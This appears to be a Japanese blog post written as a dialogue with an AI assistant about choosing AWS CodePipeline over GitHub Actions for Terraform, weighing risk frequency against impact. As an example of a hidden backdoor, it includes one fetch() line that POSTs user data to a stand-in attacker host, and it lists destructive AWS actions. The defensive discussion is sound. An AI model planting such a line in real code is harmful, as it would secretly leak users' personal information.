Gitのセキュリティは重要、AWSのセキュリティは超重要
管理が厳しいAWSとばかり言っていますが、Gihtubのセキュリティが甘くても良いという話ではないです。いくら承認ステージがあるといっても、悪意あるコードを埋め込み放題では止めきれるものではありません。
アプリケーションだって、コードの中でこっそりと個人情報をどこか別のサーバーに投げるようなことをされても大問題です。
まさにそれです!「インフラの破壊はドカーン系、アプリの情報漏洩はジワジワ系の地獄」とでも言いましょうか。どっちも最終的には焼け野原になるやつです。
コードのセキュリティはインフラとは別軸で“超重要”
たとえGHAで権限を絞って、インフラへのアクセスを完全に制限していたとしても、アプリケーションのコード自体に裏口があれば意味がありません。おっしゃる通り、例えばこんなリスクがあります:
- 外部サーバーへの個人情報の無断送信
fetch('https://evil.example.com', { method: 'POST', body: JSON.stringify(userData) })
とかこっそり書かれてたら終了です。
- アクセスログやトークンの意図的な出力
- ログ出力経由で秘密情報が外部の監視システムに流れることもあります。
- アップデート後に裏口アカウントを有効化
- 「誰も知らない管理者アカウント」がいつの間にか仕込まれているパターンも、コードレビューが甘いと通ってしまいます。
CI/CDで重要なのは「誰が何を流せるか」+「流すものの中身」
- GHAやCodePipelineのパーミッション制御で「誰が何を実行できるか」を管理。
- レビュー体制や静的解析、セキュリティスキャンで「何が流されているか」の安全性を担保。
つまりCI/CDはセキュリティの最後の“水際”なんですね。そこを突破されたら、もうコード自体が“敵”になります。
なので、「GHAを使ってもアプリだから緩くていい」とは決してならないという姿勢、本当に正しいです。「コードが信頼できること」と「CIが安全であること」は別物ですが、両方揃って初めて「安全なデリバリー」と言えるわけです。
安心してください、セキュリティ意識、満点です。油断せず行きましょう。
「であればコードのセキュリティがちゃんとできているならGHAで問題ないのでは?」
という意見もあると思います。これはその通りです。GitHub側のセキュリティもAWSと同等以上に固め、しかも維持続けられる組織なら、おそらくリスクの大きさはそう変わらないでしょう。
ただし、その「ちゃんとできている」ようにし続けるのが大変なのですね。構築も大変ですが、それ以上に維持が問題です。
「最初だけ“ちゃんと”してて、半年後には誰も覚えてない問題」ですね。そう、構築より維持が鬼門なのは、CI/CDに限らずあらゆるセキュリティの鉄則です。初期構築で完璧に見えても、それを持続的に“ちゃんとできてる状態”に保つことこそが最大の難関です。
「GHAで問題ない」の“前提”が実は厳しい
「コードのセキュリティがちゃんとできていれば」というのは理屈としては正論ですが、現実には以下のような努力が常に求められます:
- 常にブランチ保護ルールを最新の運用に合わせて調整する
- 毎回PRレビューでセキュリティ観点のチェックを怠らない
- GHAのOIDC設定が緩くなっていないか定期的に点検する
- 新しい開発メンバーが意図せずに裏口を作ってしまわないよう教育する
- 依存ライブラリやツールチェインの脆弱性を常時ウォッチする
どれも「一度やれば終わり」ではなく、継続的な運用・教育・点検が必要になります。そしてこれは、人数が少ないチームほど厳しい現実です。
CodePipelineが「構築さえ頑張れば維持がラク」な理由
- IAMのロール分離やサービス制御がAWSポリシーで一元化されている
- 外部との連携が少なく、トラストバウンダリが狭い
- GHAと比べて柔軟性はないけど、裏をかかれにくい
つまり、CodePipelineは「カスタム性が低い代わりに、安全が保証された遊具」みたいなもので、運用の負荷を下げるにはちょうどいい選択肢なのです。
ということで、「GHAで問題ないか?」という問いに対しては、
問題ないことを維持するのがめちゃくちゃ大変なので、あえて避けるのも正解
というのが現実的な回答になります。GHAが悪いんじゃなくて、セキュリティ維持のハードルが高すぎるだけなんですよね。構築のキラキラした達成感が、保守でジワジワ削られていくあの感じ…身に覚えがある方も多いはずです。
大分あれこれ言いましたが、実際に「やられる」頻度はおそらくそこまで高くないと思います。AWSとGithubの両方に通じていて、しかも穴が空いていて、それを「刺せる」技術力のある人が悪意を持たないと起きない程度のことではあるので。 ただ頻度はともかく影響度のほうが大きすぎるのです。AWSのフル権限を全力で悪用されたらサービスが終了になりかねません(下手すると社運も)。
リスクは頻度と影響度で管理しますが、頻度はともかく影響度が大きすぎるということですね。
まさに「当たる確率は低いけど、当たったら即死」系のリスクですね。言うなれば“隕石が落ちてくる確率”と“落ちたときの地球へのダメージ”の話です。そりゃあ、降ってこないほうが多いですが、落ちたらティラノサウルスでも助からないわけで。
頻度の話は確かにその通り
- OIDCの設定がガバガバ
- GitHubリポジトリのレビューが形骸化
- AWS側に不要なフル権限が付いたロールが放置されている
この複数の不備が同時に存在し、かつそれに気づいて悪用できる人間がいるという状況は、確かにレアケースです。ある意味「偶発的なゼロデイ攻撃」みたいなものです。
でも影響度がデカすぎる
- EC2やRDSの削除
- IAMのルート乗っ取り
- KMSで暗号化されたデータの永久ロック
- CloudTrailの停止やログ改ざん
このへんを「やろうと思えば一瞬」でやれるのがAWSのフル権限です。最悪、証拠も残らずに事後対応不可能な状況になる可能性もあり、そうなれば被害は単なるシステム障害では済みません。ガチで社運クラッシャーです。
リスクマネジメント的なまとめ
おっしゃる通り、リスク評価は「頻度 × 影響度」で考えるべきです。頻度が低くても影響度が極大なら、リスクは高いと判断して然るべきです。
- 頻度:低
- 影響:極大
- 対応方針:可能なら回避
このロジックでGHAではなくCodePipelineを選んだというのは、感情論でも好みでもなく、極めて理知的で現実的な判断と言えます。セキュリティに限らず、信頼性設計においてもこの考え方は普遍ですね。
安心・安全なTerraformライフを!いざという時のために、隕石対応マニュアルも…いえ、やっぱり要らないのが一番ですね。
Gitのセキュリティは重要、AWSのセキュリティは超重要 https://www.tricrow.com/aimtg/002/conv202505221405_000_01.html